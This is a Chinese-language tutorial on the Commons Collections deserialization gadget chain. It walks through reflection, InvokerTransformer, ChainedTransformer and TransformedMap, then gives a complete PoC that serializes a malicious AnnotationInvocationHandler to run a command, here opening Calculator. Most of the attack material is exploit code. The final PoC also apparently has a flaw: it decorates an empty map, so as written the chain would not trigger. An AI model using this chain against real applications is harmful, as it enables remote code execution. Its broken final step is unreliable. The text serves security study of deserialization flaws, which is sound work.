引入环境:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
首先看看通过反射调用命令执行的poc
public static void test01() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Object runtime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{})
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"open /System/Applications/Calculator.app");
}
这种方式的调用流程如下
1、首选通过类名进行反射
Class<?> cF = Class.forName("com.example.deviceinfodemo.ForNameClass");
2、接着,实例化该类
forNameClass = (ForNameClass) cF.newInstance();
3、最后就是获取非静态方法,并通过invoke调用该方法,invoke参数为实例化对象和目标方法参数
Method aMethod = cF.getMethod("get", String.class);
aMethod.invoke(forNameClass, "str arg");
对于静态方法,则不需要实例化对象:
Class<?> cF = Class.forName("com.example.deviceinfodemo.ForNameClass");
Method staticMethod = cF.getMethod("staticMethod");
staticMethod.invoke("str arg");
InvokerTransformer反射链
先看一下如何使用InvokerTransformer实现反射链
public static void transformChaim(){
InvokerTransformer tran = new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null});
Method method = (Method) tran.transform(Runtime.class);
InvokerTransformer tran2 = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null});
Runtime run = (Runtime) tran2.transform(method);
InvokerTransformer tran3 = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"});
System.out.println(tran3.transform(run).toString());
}
来看看InvokerTransformer类为什么能做这些,如下代码所示,首先InvokerTransformer通过构造函数对相应值进行赋值,然后通过transform函数实现反射调用
// InvokerTransformer源码
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
ChainedTransformer反射链
先上poc:
public static void myChainedTransformer(){
ChainedTransformer chain = null;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})};
chain = new ChainedTransformer(transformers);
chain.transform(Object.class);
}
分析一下ChainedTransformer,首先通过构造函数获取数组transformers,然后调用transform函数,该函数会循环获取数组transformers中的值,通过调用transform来实现真正的反射调用。
// ChainedTransformer源码
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
TransformedMap反射链
前面的代码最后都直接调用了transform函数,来看一个不直接调用的(间接调用),TransformedMap类符合这个条件:
public static void myTransformedMap(){
ChainedTransformer chained = null;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})};
chained = new ChainedTransformer(transformers);
Map m = new HashMap();
m.put("key", "value"); // 参数不重要,剧情需要
Map map = TransformedMap.decorate(m,null,chained);
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 转换为集合类型,并通过迭代器获取第一组值
entry.setValue(Object.class); // 参数不重要,剧情需要
}
来分析一下TransformedMap源码
decorate函数主要起到赋值作用
// TransformedMap源码
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
跟进setValue函数,发现调用了checkSetValue函数,跟进
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
然后就发现了transform函数,继续跟进:
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
然后就跟ChainedTransformer反射链一样了:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
例子🌰
这里举一个使用这个链和java反序列化实现rce的栗子。
如果一个java应用没有对传入的序列化数据进行安全检查,我们可以将恶意的TransformedMap反射链序列化后,远程提交给相关应用,通过某些操作进行触发执行。
在进行反序列化时候,通常会调用ObjectInputStrem类的readObject函数,如果恶意类重写了readObject函数,那么该类进行反序列化时,java会主动调用readObject方法。
因此如果某个可序列化的类重写了readObject方法,并且在readObject中对map类型的变量进行了键值修改操作,并且这个map变量可控,就可以作为我们TransformedMap反射链的攻击载体了。
于是找到了sun.reflect.annotation.AnnotationInvocationHandler类,它的readobject函数如下:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
poc如下,该poc需要较老的jdk版本才能用,不用过多实践,这里只是作为一个例子说明:
package classLoaderTest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.io.output.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.Map;
public class CommonCollectionsPlayLoad {
public static void main(String[] args) throws Exception {
new CommonCollectionsPlayLoad().run();
}
public void run() throws Exception {
deserialize(serialize(getObject()));
}
//在此方法中返回恶意对象
public Object getObject() throws Exception {
//构建恶意代码
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})};
Transformer transformer=new ChainedTransformer(transformers);
//将恶意代码包装到目标的 sun.reflect.annotation.AnnotationInvocationHandler 中
/**
* 构建一个 transformedMap ,
* transformedMap的作用是包装一个Map对象,使得每一次在该Map中的Entry进行setValue的时候
* 都会触发 transformer的transform()方法
* */
Map transformedMap=TransformedMap.decorate(new HashedMap(),null,transformer);
//由于AnnotationInvocationHandler无法直接访问,因此使用反射的方式来构建对象
final Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
return constructor.newInstance(Override.class, transformedMap);
}
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
参考:
https://www.freebuf.com/vuls/170344.html